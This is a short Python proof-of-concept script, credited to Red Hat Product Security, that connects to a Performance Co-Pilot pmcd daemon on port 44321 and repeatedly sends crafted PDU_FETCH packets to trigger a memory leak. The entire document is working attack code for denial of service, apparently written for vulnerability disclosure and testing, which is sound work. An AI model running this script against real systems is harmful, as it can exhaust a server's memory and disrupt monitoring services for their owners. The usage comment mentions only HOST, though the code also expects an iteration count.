# # usage: python leak-fetch HOST # # Connects to pmcd on HOST and sends a crafted PDU_FETCH packet which triggers a memory leak. # # Florian Weimer / Red Hat Product Security Team # import socket import sys import pcppdu _, host, count = sys.argv sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, 44321)) pcppdu.client_handshake(sock, from_=1) iterations = int(count) for i in range(iterations): pcppdu.send_fetch(sock, from_=1, ctxnum=1, pmidlist=(1,) * 10000) pcppdu.read_pdu(sock) sock.close()